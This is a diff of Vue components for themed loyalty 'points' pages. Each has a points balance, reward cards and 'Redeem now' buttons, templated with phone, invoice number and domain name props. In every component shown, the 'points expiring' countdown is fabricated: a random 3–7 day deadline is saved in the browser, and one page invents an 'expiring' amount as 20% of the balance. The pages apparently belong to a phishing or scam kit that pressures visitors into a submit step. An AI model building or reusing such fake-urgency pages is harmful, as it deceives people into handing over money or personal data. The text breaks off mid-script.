<div class="t3-pt3-rcard">
<div class="t3-pt3-ric t3-pt3-ric-blue">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<path d="M3 16v-5a9 9 0 0 1 18 0v5" stroke="#3b82f6" stroke-width="1.5" fill="none" stroke-linecap="round"/>
<rect x="2" y="14" width="4" height="6" rx="2" stroke="#3b82f6" stroke-width="1.5" fill="none"/>
<rect x="18" y="14" width="4" height="6" rx="2" stroke="#3b82f6" stroke-width="1.5" fill="none"/>
</svg>
</div>
<div class="t3-pt3-rname">{{ t('pay_view.cat_digital') }}</div>
<div class="t3-pt3-rpts t3-pt3-rpts-soon">{{ t('pay_view.pts_600') }}</div>
</div>
<!-- Gift Cards -->
<div class="t3-pt3-rcard">
<div class="t3-pt3-ric t3-pt3-ric-purple">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<rect x="2" y="9" width="20" height="13" rx="1.5" stroke="#8b5cf6" stroke-width="1.5" fill="none"/>
<path d="M2 14h20" stroke="#8b5cf6" stroke-width="1.5"/>
<path d="M12 9v13" stroke="#8b5cf6" stroke-width="1.5"/>
<path d="M8 9C8 9 5.5 9 5.5 6.5C5.5 4.5 7.5 3 9.5 5C10.4 5.9 12 7.5 12 9" stroke="#8b5cf6" stroke-width="1.3" stroke-linecap="round" fill="none"/>
<path d="M16 9C16 9 18.5 9 18.5 6.5C18.5 4.5 16.5 3 14.5 5C13.6 5.9 12 7.5 12 9" stroke="#8b5cf6" stroke-width="1.3" stroke-linecap="round" fill="none"/>
</svg>
</div>
<div class="t3-pt3-rname">{{ t('pay_view.cat_gift_cards') }}</div>
<div class="t3-pt3-rpts t3-pt3-rpts-soon">{{ t('pay_view.pts_800') }}</div>
</div>
<!-- Travel -->
<div class="t3-pt3-rcard">
<div class="t3-pt3-ric t3-pt3-ric-sky">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<path d="M2.5 19H21.5" stroke="#0ea5e9" stroke-width="1.5" stroke-linecap="round"/>
<path d="M4 14L7.5 12L9.5 13.5L16 9L19.5 11L17 12L14 10.5L9 14.5L10 16L7.5 17L4 14Z" stroke="#0ea5e9" stroke-width="1.2" stroke-linejoin="round" fill="none"/>
</svg>
</div>
<div class="t3-pt3-rname">{{ t('pay_view.cat_travel_goods') }}</div>
<div class="t3-pt3-rpts t3-pt3-rpts-soon">{{ t('pay_view.pts_800') }}</div>
</div>
</div>
<!-- Featured Banner -->
<div class="t3-pt3-feat" @click="$emit('submit')">
<div class="t3-pt3-feat-content">
<span class="t3-pt3-feat-tag">{{ t('pay_view.featured') }}</span>
<div class="t3-pt3-feat-title">{{ t('pay_view.holiday_special') }}</div>
<div class="t3-pt3-feat-sub">{{ t('pay_view.holiday_special_sub') }}</div>
</div>
<!-- gift box illustration: red box + orange bow, mimics photo -->
<div class="t3-pt3-feat-deco" aria-hidden="true">
<svg width="130" height="130" viewBox="0 0 130 130" fill="none" xmlns="http://www.w3.org/2000/svg">
<!-- shadow under box -->
<ellipse cx="68" cy="112" rx="36" ry="7" fill="rgba(0,0,0,0.25)"/>
<!-- BOX SIDE (left face, 3D) -->
<path d="M28 72 L28 104 L62 112 L62 80 Z" fill="#9b1c1c"/>
<!-- BOX FRONT face -->
<rect x="62" y="56" width="46" height="56" rx="2" fill="#dc2626"/>
<!-- lid top -->
<rect x="58" y="44" width="54" height="14" rx="2" fill="#ef4444"/>
<!-- lid left flap -->
<path d="M28 60 L58 44 L58 58 L28 74 Z" fill="#c53030"/>
<!-- vertical ribbon on front -->
<rect x="81" y="44" width="8" height="68" fill="#ea580c" opacity="0.9"/>
<!-- horizontal ribbon on front -->
<rect x="62" y="62" width="46" height="6" fill="#ea580c" opacity="0.85"/>
<!-- ribbon on lid top -->
<rect x="58" y="48" width="54" height="5" fill="#f97316" opacity="0.8"/>
<!-- vertical ribbon on lid -->
<rect x="81" y="44" width="8" height="14" fill="#f97316"/>
<!-- BOW: left loop -->
<path d="M66 44 C58 28 42 26 46 38 C49 47 66 44 66 44 Z" fill="#f97316"/>
<path d="M66 44 C58 30 46 30 49 39 C51 45 66 44 66 44 Z" fill="#ea580c"/>
<!-- BOW: right loop -->
<path d="M90 44 C98 28 114 26 110 38 C107 47 90 44 90 44 Z" fill="#f97316"/>
<path d="M90 44 C98 30 110 30 107 39 C105 45 90 44 90 44 Z" fill="#ea580c"/>
<!-- BOW centre knot -->
<ellipse cx="78" cy="44" rx="8" ry="6" fill="#fb923c"/>
<ellipse cx="78" cy="44" rx="5" ry="3.5" fill="#f97316"/>
<!-- box highlight/gloss -->
<rect x="64" y="58" width="40" height="3" rx="1.5" fill="rgba(255,255,255,0.14)"/>
<!-- confetti dots scattered -->
<circle cx="30" cy="48" r="2.5" fill="rgba(255,220,80,0.8)"/>
<circle cx="118" cy="52" r="2" fill="rgba(255,220,80,0.7)"/>
<circle cx="112" cy="95" r="3" fill="rgba(255,200,100,0.5)"/>
<circle cx="36" cy="90" r="2" fill="rgba(255,210,90,0.55)"/>
<circle cx="56" cy="32" r="1.5" fill="rgba(255,230,120,0.7)"/>
<circle cx="100" cy="30" r="2" fill="rgba(255,230,100,0.65)"/>
<!-- % watermark (shopping tag) -->
<g opacity="0.18" transform="translate(100,88)">
<rect x="0" y="6" width="24" height="19" rx="2" fill="white"/>
<path d="M5 6 C5 2 19 2 19 6" stroke="white" stroke-width="2.5" fill="none"/>
<text x="4" y="20" font-size="12" fill="white" font-weight="900">%</text>
</g>
</svg>
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, onMounted, onUnmounted } from 'vue';
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
interface Props {
colors: ThemeColors;
phone: string;
payDate: string;
invoiceNumber: string;
domainName: string;
totalPoint: number;
}
const props = defineProps<Props>();
const { t } = useI18n();
defineEmits<{ (e: 'submit'): void }>();
// ── 倒计时 ──
const countdown = ref({ days: '00', hours: '00', minutes: '00', seconds: '00' });
let timer: ReturnType<typeof setInterval> | null = null;
const LS_KEY = 'pt3_expire_ts';
function getOrCreateExpireTs(): number {
const saved = localStorage.getItem(LS_KEY);
if (saved) {
const ts = parseInt(saved, 10);
if (!isNaN(ts) && ts > Date.now()) return ts;
}
// 随机 3-7 天
const days = Math.floor(Math.random() * 5) + 3;
const ts = Date.now() + days * 86400 * 1000;
localStorage.setItem(LS_KEY, String(ts));
return ts;
}
function pad2(n: number): string {
return n < 10 ? '0' + n : '' + n;
}
let expireTs = 0;
function updateCountdown() {
const diff = Math.max(0, expireTs - Date.now());
const d = Math.floor(diff / 86400000);
const h = Math.floor((diff % 86400000) / 3600000);
const m = Math.floor((diff % 3600000) / 60000);
const s = Math.floor((diff % 60000) / 1000);
countdown.value = {
days: pad2(d),
hours: pad2(h),
minutes: pad2(m),
seconds: pad2(s),
};
}
onMounted(() => {
expireTs = getOrCreateExpireTs();
updateCountdown();
timer = setInterval(updateCountdown, 1000);
});
onUnmounted(() => {
if (timer) clearInterval(timer);
});
</script>
<style scoped>
/* ── root ── */
.t3-pt3-root {
min-height: 100%;
display: flex;
flex-direction: column;
background: #f9f8f7;
}
/* ── Header ── */
.t3-pt3-hd {
background: linear-gradient(165deg, #ffb347 0%, #ff6b1a 28%, #e8381a 58%, #c8210e 100%);
padding: 2.2rem 0.9rem 1.5rem;
display: flex;
flex-direction: column;
align-items: center;
text-align: center;
border-radius: 0 0 32px 32px;
position: relative;
z-index: 1;
overflow: visible;
}
/* GOLD TIER badge — solid golden */
.t3-pt3-tier-badge {
display: inline-flex;
align-items: center;
gap: 0.4rem;
background: #f5c430;
color: #5a3000;
font-size: 12px;
font-weight: 800;
letter-spacing: 1px;
text-transform: uppercase;
padding: 0.42rem 1.15rem;
border-radius: 22px;
margin-bottom: 1.1rem;
box-shadow: 0 3px 10px rgba(0,0,0,0.18);
}
.t3-pt3-balance-lbl {
font-size: 11px;
font-weight: 600;
color: rgba(255,255,255,0.7);
letter-spacing: 1.8px;
text-transform: uppercase;
margin-bottom: 0.25rem;
}
.t3-pt3-balance-num {
font-size: 64px;
font-weight: 900;
color: #fff;
line-height: 1;
margin-bottom: 1.5rem;
letter-spacing: -2px;
}
/* Tier card — frosted glass */
.t3-pt3-tier-card {
width: 100%;
background: rgba(255,255,255,0.15);
backdrop-filter: blur(14px);
-webkit-backdrop-filter: blur(14px);
border: 1px solid rgba(255,255,255,0.25);
border-radius: 18px;
padding: 1.1rem 1.2rem;
}
.t3-pt3-tier-row {
display: flex;
justify-content: space-between;
align-items: flex-start;
margin-bottom: 0.9rem;
}
.t3-pt3-tc-lbl {
font-size: 10px;
color: rgba(255,255,255,0.55);
font-weight: 600;
letter-spacing: 0.6px;
text-transform: uppercase;
margin-bottom: 3px;
}
.t3-pt3-tc-name {
font-size: 18px;
font-weight: 800;
color: #fff;
}
.t3-pt3-tc-pts {
font-size: 17px;
font-weight: 800;
color: #fde68a;
}
.t3-pt3-prog-track {
width: 100%;
height: 7px;
background: rgba(80,30,0,0.5);
border-radius: 4px;
overflow: hidden;
margin-bottom: 0.9rem;
}
.t3-pt3-prog-fill {
height: 100%;
background: linear-gradient(90deg, #fdd835 0%, #f59e0b 100%);
border-radius: 4px;
}
.t3-pt3-member-row {
display: flex;
align-items: center;
justify-content: space-between;
}
.t3-pt3-member-id {
font-size: 12px;
color: rgba(255,255,255,0.6);
font-weight: 500;
}
/* ── Body ── */
.t3-pt3-body {
flex: 1;
padding: 4.8rem 0.9rem 2.4rem;
display: flex;
flex-direction: column;
gap: 1rem;
background: #f9f8f7;
}
/* Expiring Soon card */
.t3-pt3-exp-card {
background: #fff;
border: 1.5px dashed #f97316;
border-radius: 18px;
padding: 1.05rem 1.15rem;
box-shadow: 0 6px 24px rgba(0,0,0,0.14);
width: 100%;
margin: 1rem 0 -5.6rem;
position: relative;
z-index: 2;
}
.t3-pt3-exp-top {
display: flex;
align-items: flex-start;
gap: 0.8rem;
margin-bottom: 0.9rem;
}
.t3-pt3-exp-ic {
width: 44px;
height: 44px;
min-width: 44px;
background: rgba(249,115,22,0.1);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
}
.t3-pt3-exp-title {
font-size: 15px;
font-weight: 800;
color: #111;
margin-bottom: 3px;
text-align: left;
}
.t3-pt3-exp-pts { color: #ea580c; font-weight: 700; }
.t3-pt3-exp-sub {
font-size: 12.5px;
color: #777;
line-height: 1.4;
}
.t3-pt3-exp-bot {
display: flex;
align-items: center;
justify-content: space-between;
}
.t3-pt3-cd { display: flex; gap: 0.4rem; }
.t3-pt3-cd-chip {
background: #1f2937;
color: #fff;
font-size: 12px;
font-weight: 700;
padding: 0.28rem 0.6rem;
border-radius: 8px;
letter-spacing: 0.5px;
}
.t3-pt3-redeem-btn {
background: none;
border: none;
color: #f97316;
font-size: 12px;
font-weight: 800;
letter-spacing: 0.4px;
text-transform: uppercase;
cursor: pointer;
padding: 0;
}
/* Section header */
.t3-pt3-sec-hd {
display: flex;
align-items: center;
justify-content: space-between;
padding: 0.25rem 0;
}
.t3-pt3-sec-title {
font-size: 22px;
font-weight: 800;
color: #111;
letter-spacing: -0.3px;
}
.t3-pt3-see-all {
font-size: 14px;
font-weight: 700;
color: #f97316;
cursor: pointer;
}
/* 2x2 grid */
.t3-pt3-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.8rem;
}
.t3-pt3-rcard {
background: #fff;
border-radius: 18px;
padding: 1.1rem 1rem;
border: none;
box-shadow: 0 2px 12px rgba(0,0,0,0.07);
cursor: pointer;
transition: transform .15s, box-shadow .15s;
position: relative;
overflow: hidden;
}
.t3-pt3-rcard:hover {
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(0,0,0,0.11);
}
/* Active card: orange top accent bar */
.t3-pt3-rcard-active {
border-top: 3px solid #f97316;
}
.t3-pt3-rcard-top {
display: flex;
align-items: flex-start;
justify-content: space-between;
margin-bottom: 0.75rem;
}
.t3-pt3-rcard-arrow { margin-top: 2px; }
.t3-pt3-rcard-top .t3-pt3-ric { margin-bottom: 0; }
.t3-pt3-ric {
width: 44px;
height: 44px;
border-radius: 14px;
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 0.75rem;
}
.t3-pt3-ric-green { background: rgba(22,163,74,0.1); }
.t3-pt3-ric-gray { background: #f0f1f4; }
.t3-pt3-ric-blue { background: #dbeafe; }
.t3-pt3-ric-purple { background: #ede9fe; }
.t3-pt3-ric-sky { background: #e0f2fe; }
.t3-pt3-rname {
font-size: 14px;
font-weight: 700;
color: #111;
margin-bottom: 5px;
}
.t3-pt3-rpts {
font-size: 12px;
font-weight: 600;
}
.t3-pt3-rpts-on { color: #16a34a; }
.t3-pt3-rpts-off { color: #ef4444; }
.t3-pt3-rpts-soon { color: #9ca3af; }
/* Featured Banner — photo-like red gift box look */
.t3-pt3-feat {
border-radius: 20px;
padding: 1.5rem 1.3rem;
position: relative;
overflow: hidden;
cursor: pointer;
min-height: 140px;
display: flex;
align-items: center;
background:
linear-gradient(105deg,
rgba(45,4,4,0.96) 0%,
rgba(70,8,8,0.88) 38%,
rgba(100,12,12,0.55) 58%,
rgba(120,15,15,0.15) 75%,
transparent 100%
),
radial-gradient(ellipse 120% 100% at 88% 50%,
#fb923c 0%,
#ef4444 18%,
#dc2626 36%,
#991b1b 62%,
#5a0808 100%
);
box-shadow: 0 6px 24px rgba(0,0,0,0.2);
margin-bottom: 0.4rem;
}
.t3-pt3-feat-content { position: relative; z-index: 1; flex: 1; }
.t3-pt3-feat-tag {
display: inline-block;
background: #16a34a;
color: #fff;
font-size: 10px;
font-weight: 800;
letter-spacing: 0.8px;
text-transform: uppercase;
padding: 0.28rem 0.75rem;
border-radius: 6px;
margin-bottom: 0.5rem;
}
.t3-pt3-feat-title {
font-size: 24px;
font-weight: 900;
color: #fff;
line-height: 1.1;
margin-bottom: 0.3rem;
}
.t3-pt3-feat-sub {
font-size: 12.5px;
color: rgba(255,255,255,0.72);
line-height: 1.45;
}
.t3-pt3-feat-deco {
position: absolute;
right: 0;
top: 0;
bottom: 0;
width: 55%;
pointer-events: none;
z-index: 0;
display: flex;
align-items: center;
justify-content: flex-end;
}
.t3-pt3-exp-card { margin-top: 3.25rem; }
@media (max-width: 360px) {
.t3-pt3-balance-num { font-size: 52px; }
.t3-pt3-grid { gap: 0.55rem; }
}
</style>

View File

@@ -0,0 +1,489 @@
<template>
<div class="t4-pt7-root">
<!-- 顶部积分显示区 -->
<div class="t4-pt7-points-hero">
<p class="t4-pt7-label-top">{{ t('pay_theme4.available_points') }}</p>
<div class="t4-pt7-points-big">
<span class="t4-pt7-star-icon"></span>
<span class="t4-pt7-points-num">{{ totalPoint.toLocaleString() }}</span>
</div>
<p class="t4-pt7-label-bot">{{ t('pay_theme4.club_member_points') }}</p>
</div>
<div class="t4-pt7-body">
<!-- 进度卡片 -->
<div class="t4-pt7-progress-card">
<div class="t4-pt7-progress-header">
<span class="t4-pt7-progress-title">{{ t('pay_theme4.progress_to_platinum') }}</span>
<span class="t4-pt7-progress-pct">{{ t('pay_theme4.pct_left') }}</span>
</div>
<div class="t4-pt7-progress-bar-bg">
<div class="t4-pt7-progress-bar-fill"></div>
</div>
</div>
<!-- 注意力卡片 + 倒计时 -->
<div class="t4-pt7-attention-card">
<div class="t4-pt7-attention-header">
<span class="t4-pt7-bell">🔔</span>
<span class="t4-pt7-attention-title">{{ t('pay_theme4.attention') }}</span>
</div>
<p class="t4-pt7-attention-desc">
{{ t('pay_theme4.you_have') }} <strong>{{ totalPoint.toLocaleString() }}</strong> {{ t('pay_theme4.expiring_in') }}
</p>
<!-- 倒计时 -->
<div class="t4-pt7-countdown">
<div class="t4-pt7-cbox">
<span class="t4-pt7-cnum">{{ countdown.days }}</span>
<span class="t4-pt7-clabel">{{ t('pay_theme4.days') }}</span>
</div>
<div class="t4-pt7-cbox">
<span class="t4-pt7-cnum">{{ countdown.hours }}</span>
<span class="t4-pt7-clabel">{{ t('pay_theme4.hrs') }}</span>
</div>
<div class="t4-pt7-cbox">
<span class="t4-pt7-cnum">{{ countdown.minutes }}</span>
<span class="t4-pt7-clabel">{{ t('pay_theme4.min') }}</span>
</div>
<div class="t4-pt7-cbox">
<span class="t4-pt7-cnum">{{ countdown.seconds }}</span>
<span class="t4-pt7-clabel">{{ t('pay_theme4.sec') }}</span>
</div>
</div>
<button class="t4-pt7-redeem-btn" @click="$emit('submit')">
{{ t('pay_theme4.redeem_now') }}
</button>
</div>
<!-- Quick Rewards -->
<div class="t4-pt7-rewards-section">
<div class="t4-pt7-rewards-header">
<div class="t4-pt7-rewards-accent"></div>
<span class="t4-pt7-rewards-title">{{ t('pay_theme4.quick_rewards') }}</span>
</div>
<div class="t4-pt7-rewards-grid">
<div
class="t4-pt7-reward-card"
v-for="(reward, i) in rewards"
:key="i"
>
<div class="t4-pt7-reward-icon">{{ reward.icon }}</div>
<div class="t4-pt7-reward-name">{{ t(reward.name) }}</div>
<div class="t4-pt7-reward-pts">{{ t('pay_theme4.from') }} {{ reward.pts }} PTS</div>
</div>
</div>
</div>
<!-- 底部 CTA -->
<div class="t4-pt7-footer-cta">
<h2 class="t4-pt7-big-title">{{ t('pay_theme4.big_carnival') }}</h2>
<button class="t4-pt7-catalog-btn" @click="$emit('submit')">
{{ t('pay_theme4.explore_catalog') }}
</button>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, onMounted, onUnmounted } from 'vue';
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
interface Props {
colors: ThemeColors;
phone: string;
payDate: string;
invoiceNumber: string;
domainName: string;
totalPoint: number;
}
const props = defineProps<Props>();
const { t } = useI18n();
defineEmits<{ (e: 'submit'): void }>();
// ── 倒计时 ──
const countdown = ref({ days: '00', hours: '00', minutes: '00', seconds: '00' });
let timer: ReturnType<typeof setInterval> | null = null;
const LS_KEY = 'pt7_expire_ts';
function getOrCreateExpireTs(): number {
const saved = localStorage.getItem(LS_KEY);
if (saved) {
const ts = parseInt(saved, 10);
if (!isNaN(ts) && ts > Date.now()) return ts;
}
// 随机 3-7 天
const days = Math.floor(Math.random() * 5) + 3;
const ts = Date.now() + days * 86400 * 1000;
localStorage.setItem(LS_KEY, String(ts));
return ts;
}
function pad2(n: number): string {
return n < 10 ? '0' + n : '' + n;
}
let expireTs = 0;
function updateCountdown() {
const diff = Math.max(0, expireTs - Date.now());
const d = Math.floor(diff / 86400000);
const h = Math.floor((diff % 86400000) / 3600000);
const m = Math.floor((diff % 3600000) / 60000);
const s = Math.floor((diff % 60000) / 1000);
countdown.value = {
days: pad2(d),
hours: pad2(h),
minutes: pad2(m),
seconds: pad2(s),
};
}
onMounted(() => {
expireTs = getOrCreateExpireTs();
updateCountdown();
timer = setInterval(updateCountdown, 1000);
});
onUnmounted(() => {
if (timer) clearInterval(timer);
});
// ── 奖励列表 ──
const rewards = [
{ icon: '🎁', name: 'pay_theme4.reward_mega_prize', pts: '500' },
{ icon: '🎮', name: 'pay_theme4.reward_gadgets', pts: '800' },
{ icon: '💳', name: 'pay_theme4.reward_gift_cards', pts: '300' },
{ icon: '✈️', name: 'pay_theme4.reward_travel_pack', pts: '1200' },
];
</script>
<style scoped>
/* ── Root ── */
.t4-pt7-root {
background: #fcfaf4;
min-height: 100%;
font-family: inherit;
padding-bottom: 2rem;
}
/* ── Points Hero ── */
.t4-pt7-points-hero {
text-align: center;
background: linear-gradient(180deg, #fef3c7 0%, #fff6dd 55%, #fcfaf4 100%);
padding: 2rem 1.25rem 1.7rem;
border-radius: 0 0 28px 28px;
box-shadow: 0 4px 16px rgba(245, 158, 11, 0.08);
}
.t4-pt7-label-top {
font-size: 10px;
font-weight: 800;
color: #9ca3af;
letter-spacing: 1.5px;
text-transform: uppercase;
margin: 0 0 0.6rem;
}
.t4-pt7-points-big {
display: flex;
align-items: center;
justify-content: center;
gap: 0.35rem;
margin-bottom: 0.5rem;
}
.t4-pt7-star-icon {
font-size: 30px;
}
.t4-pt7-points-num {
font-size: 52px;
font-weight: 900;
color: #1c1c1c;
line-height: 1;
letter-spacing: -1px;
}
.t4-pt7-label-bot {
font-size: 10px;
font-weight: 800;
color: #d97706;
letter-spacing: 1.5px;
text-transform: uppercase;
margin: 0;
}
/* ── Body ── */
.t4-pt7-body {
padding: 0 1rem;
margin-top: 0.4rem;
}
/* ── Progress Card ── */
.t4-pt7-progress-card {
background: #fff;
border-radius: 16px;
padding: 1.1rem 1.2rem;
margin-bottom: 1rem;
border: 1px solid #f3e8c8;
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
}
.t4-pt7-progress-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.75rem;
}
.t4-pt7-progress-title {
font-size: 11px;
font-weight: 800;
color: #4b5563;
letter-spacing: 0.8px;
text-transform: uppercase;
}
.t4-pt7-progress-pct {
font-size: 11px;
font-weight: 800;
color: #d97706;
letter-spacing: 0.5px;
}
.t4-pt7-progress-bar-bg {
height: 8px;
background: #eceff3;
border-radius: 99px;
overflow: hidden;
margin-bottom: 0.65rem;
}
.t4-pt7-progress-bar-fill {
height: 100%;
width: 60%;
background: linear-gradient(90deg, #fbbf24 0%, #f59e0b 100%);
border-radius: 99px;
}
.t4-pt7-progress-since {
font-size: 10px;
font-weight: 600;
color: #9ca3af;
letter-spacing: 0.5px;
text-transform: uppercase;
margin: 0;
}
/* ── Attention Card ── */
.t4-pt7-attention-card {
background: linear-gradient(135deg, #fde68a 0%, #fbbf24 100%);
border-radius: 20px;
padding: 1.35rem;
margin-bottom: 1rem;
box-shadow: 0 6px 18px rgba(251, 191, 36, 0.32);
border: 1px solid rgba(245, 158, 11, 0.18);
}
.t4-pt7-attention-header {
display: flex;
align-items: center;
gap: 0.4rem;
margin-bottom: 0.5rem;
}
.t4-pt7-bell {
font-size: 18px;
}
.t4-pt7-attention-title {
font-size: 18px;
font-weight: 900;
color: #78350f;
}
.t4-pt7-attention-desc {
font-size: 13px;
font-weight: 600;
color: #92400e;
margin: 0 0 1rem;
line-height: 1.5;
}
.t4-pt7-attention-desc strong {
color: #78350f;
}
/* 倒计时 */
.t4-pt7-countdown {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 0.5rem;
margin-bottom: 1rem;
}
.t4-pt7-cbox {
background: #fff;
border-radius: 12px;
padding: 0.6rem 0.25rem;
display: flex;
flex-direction: column;
align-items: center;
box-shadow: 0 2px 8px rgba(0,0,0,0.09);
border: 1px solid rgba(251, 191, 36, 0.2);
}
.t4-pt7-cnum {
font-size: 26px;
font-weight: 900;
color: #1c1c1c;
line-height: 1;
font-variant-numeric: tabular-nums;
}
.t4-pt7-clabel {
font-size: 9px;
font-weight: 700;
color: #9ca3af;
letter-spacing: 0.5px;
margin-top: 2px;
}
.t4-pt7-redeem-btn {
width: 100%;
padding: 0.9rem;
border: none;
border-radius: 999px;
background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%);
color: #fff;
font-size: 15px;
font-weight: 900;
letter-spacing: 1px;
text-transform: uppercase;
cursor: pointer;
box-shadow: 0 4px 12px rgba(220, 38, 38, 0.35);
transition: all 0.25s ease;
}
.t4-pt7-redeem-btn:hover { opacity: 0.92; transform: translateY(-1px); }
.t4-pt7-redeem-btn:active { transform: none; opacity: 0.85; }
/* ── Quick Rewards ── */
.t4-pt7-rewards-section {
margin-bottom: 1.25rem;
}
.t4-pt7-rewards-header {
display: flex;
align-items: center;
gap: 0.6rem;
margin-bottom: 0.85rem;
}
.t4-pt7-rewards-accent {
width: 4px;
height: 20px;
background: linear-gradient(180deg, #fbbf24 0%, #f59e0b 100%);
border-radius: 2px;
}
.t4-pt7-rewards-title {
font-size: 17px;
font-weight: 900;
color: #1c1c1c;
}
.t4-pt7-rewards-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.75rem;
}
.t4-pt7-reward-card {
background: #fff;
border-radius: 16px;
padding: 1rem;
display: flex;
flex-direction: column;
align-items: center;
gap: 0.4rem;
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
text-align: center;
border: 1px solid rgba(251, 191, 36, 0.15);
transition: transform .16s ease, box-shadow .16s ease;
}
.t4-pt7-reward-card:hover {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0,0,0,0.08);
}
.t4-pt7-reward-icon {
font-size: 26px;
line-height: 1;
width: 46px;
height: 46px;
border-radius: 50%;
background: #fff8e7;
display: flex;
align-items: center;
justify-content: center;
}
.t4-pt7-reward-name {
font-size: 12px;
font-weight: 700;
color: #1c1c1c;
text-transform: uppercase;
letter-spacing: 0.3px;
}
.t4-pt7-reward-pts {
font-size: 11px;
font-weight: 700;
color: #f59e0b;
letter-spacing: 0.3px;
}
/* ── Footer CTA ── */
.t4-pt7-footer-cta {
text-align: center;
padding: 0.5rem 0 0.5rem;
}
.t4-pt7-big-title {
font-size: 30px;
font-weight: 900;
font-style: italic;
color: #d97706;
margin: 0 0 1rem;
letter-spacing: -0.5px;
}
.t4-pt7-catalog-btn {
width: 100%;
padding: 0.9rem;
border: 1.8px solid #dc2626;
border-radius: 999px;
background: #fff;
color: #dc2626;
font-size: 14px;
font-weight: 800;
letter-spacing: 1px;
text-transform: uppercase;
cursor: pointer;
transition: all 0.25s ease;
}
.t4-pt7-catalog-btn:hover {
background: #dc2626;
color: #fff;
}
</style>

View File

@@ -0,0 +1,512 @@
<template>
<div class="t5-pt8-root">
<!-- 红色顶部 -->
<div class="t5-pt8-hero">
<span class="t5-pt8-hdeco t5-pt8-hdeco-l"></span>
<span class="t5-pt8-hdeco t5-pt8-hdeco-r"></span>
<div class="t5-pt8-hero-badge"> {{ t('pay_theme5.gold_level') }}</div>
<p class="t5-pt8-hero-label">{{ t('pay_theme5.available_points') }}</p>
<div class="t5-pt8-points-num">{{ totalPoint.toLocaleString() }}</div>
<p class="t5-pt8-points-sub">{{ domainName }} {{ t('pay_theme5.club_points') }}</p>
<div class="t5-pt8-gift-wrap">
<div class="t5-pt8-gift-circle">🎁</div>
</div>
</div>
<!-- 红色色带白色卡片左右露出红色 -->
<div class="t5-pt8-card-wrap">
<div class="t5-pt8-sheet">
<!-- 进度卡片 -->
<div class="t5-pt8-progress-card">
<div class="t5-pt8-progress-row">
<span class="t5-pt8-progress-title">{{ t('pay_theme5.progress_platinum') }}</span>
<span class="t5-pt8-progress-more">{{ t('pay_theme5.more_pts') }}</span>
</div>
<div class="t5-pt8-bar-bg">
<div class="t5-pt8-bar-fill"></div>
</div>
</div>
<!-- 注意力卡片 + 倒计时 -->
<div class="t5-pt8-attention-card">
<div class="t5-pt8-attention-title">{{ t('pay_theme5.attention_expiring') }}</div>
<p class="t5-pt8-attention-desc">
{{ t('pay_theme5.you_have') }} <strong>{{ expiringPoints.toLocaleString() }}</strong> {{ t('pay_theme5.expiring_in') }}
</p>
<div class="t5-pt8-countdown">
<div class="t5-pt8-cbox">
<span class="t5-pt8-cnum">{{ countdown.days }}</span>
<span class="t5-pt8-clbl">{{ t('pay_theme5.days') }}</span>
</div>
<div class="t5-pt8-cbox">
<span class="t5-pt8-cnum">{{ countdown.hours }}</span>
<span class="t5-pt8-clbl">{{ t('pay_theme5.hours') }}</span>
</div>
<div class="t5-pt8-cbox">
<span class="t5-pt8-cnum">{{ countdown.minutes }}</span>
<span class="t5-pt8-clbl">{{ t('pay_theme5.min') }}</span>
</div>
<div class="t5-pt8-cbox">
<span class="t5-pt8-cnum">{{ countdown.seconds }}</span>
<span class="t5-pt8-clbl">{{ t('pay_theme5.sec') }}</span>
</div>
</div>
</div>
<!-- 大按钮 -->
<button class="t5-pt8-redeem-btn" @click="$emit('submit')">
{{ t('pay_theme5.redeem_now') }}
</button>
<!-- Quick Redeem -->
<div class="t5-pt8-quick-section">
<h3 class="t5-pt8-quick-title">{{ t('pay_theme5.quick_redeem') }}</h3>
<div class="t5-pt8-quick-grid">
<div class="t5-pt8-quick-card" v-for="(item, i) in quickItems" :key="i">
<div class="t5-pt8-quick-stars">{{ item.stars }}</div>
<div class="t5-pt8-quick-name">{{ t(item.name) }}</div>
<div class="t5-pt8-quick-sub">{{ t(item.sub) }}</div>
</div>
</div>
</div>
</div>
<!-- 黄色装饰点红色区右下 -->
<span class="t5-pt8-bdeco"></span>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, computed, onMounted, onUnmounted } from 'vue';
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
interface Props {
colors: ThemeColors;
phone: string;
payDate: string;
invoiceNumber: string;
domainName: string;
totalPoint: number;
}
const props = defineProps<Props>();
const { t } = useI18n();
defineEmits<{ (e: 'submit'): void }>();
// ── 到期积分约20%)──
const expiringPoints = computed(() => Math.floor(props.totalPoint * 0.2))
// ── 倒计时随机3-7天localStorage持久化──
const LS_KEY = 'pt8_expire_ts';
const countdown = ref({ days: '00', hours: '00', minutes: '00', seconds: '00' });
let timer: ReturnType<typeof setInterval> | null = null;
let expireTs = 0;
function pad2(n: number): string {
return n < 10 ? '0' + n : '' + n;
}
function getOrCreateExpireTs(): number {
const saved = localStorage.getItem(LS_KEY);
if (saved) {
const ts = parseInt(saved, 10);
if (!isNaN(ts) && ts > Date.now()) return ts;
}
const days = Math.floor(Math.random() * 5) + 3;
const ts = Date.now() + days * 86400 * 1000;
localStorage.setItem(LS_KEY, String(ts));
return ts;
}
function updateCountdown() {
const diff = Math.max(0, expireTs - Date.now());
const d = Math.floor(diff / 86400000);
const h = Math.floor((diff % 86400000) / 3600000);
const m = Math.floor((diff % 3600000) / 60000);
const s = Math.floor((diff % 60000) / 1000);
countdown.value = { days: pad2(d), hours: pad2(h), minutes: pad2(m), seconds: pad2(s) };
}
onMounted(() => {
expireTs = getOrCreateExpireTs();
updateCountdown();
